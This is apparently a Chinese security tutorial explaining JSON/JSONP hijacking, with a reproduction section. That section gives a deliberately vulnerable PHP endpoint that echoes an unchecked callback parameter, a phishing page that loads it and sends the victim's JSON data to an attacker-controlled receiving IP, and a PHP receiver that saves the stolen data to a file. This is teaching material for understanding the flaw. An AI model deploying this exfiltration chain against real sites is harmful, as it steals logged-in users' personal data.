1. 定义
JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
攻击方法与csrf类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者。
json劫持: JSON劫持漏洞分析_Fly_鹏程万里-CSDN博客_json劫持
jsonp: JSON与JSONP劫持原理_辰辰啊-CSDN博客
2. 漏洞利用(复现
靶机的json文件代码:
1 <?php 2 header(‘Content-type: application/json‘); 3 $callback = $_GET[‘callback‘]; 4 print $callback.‘({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});‘; 5 ?>
钓鱼网站的测试代码(只是在钓鱼网站上弹出):
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>jsonp劫持</title> 6 <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> 7 </head> 8 <body> 9 <script>function jsonp2(data){alert(JSON.stringify(data));}</script> 10 <script src="靶机/json.php?callback=jsonp2"></script> 11 </body> 12 </html>
钓鱼网站上的劫持代码:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> <script> function test(data){ //alert(v.name); var xmlhttp = new XMLHttpRequest(); var url = "http://后端接收ip/1.php?file=" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="靶机/json.php?callback=test"></script> </head> <body> </body> </html>
后端接收的代码(1.php):
1 <?php 2 if($_GET[‘file‘]){ 3 file_put_contents(‘json.txt‘,$_GET[‘file‘]) 4 } 5 ?>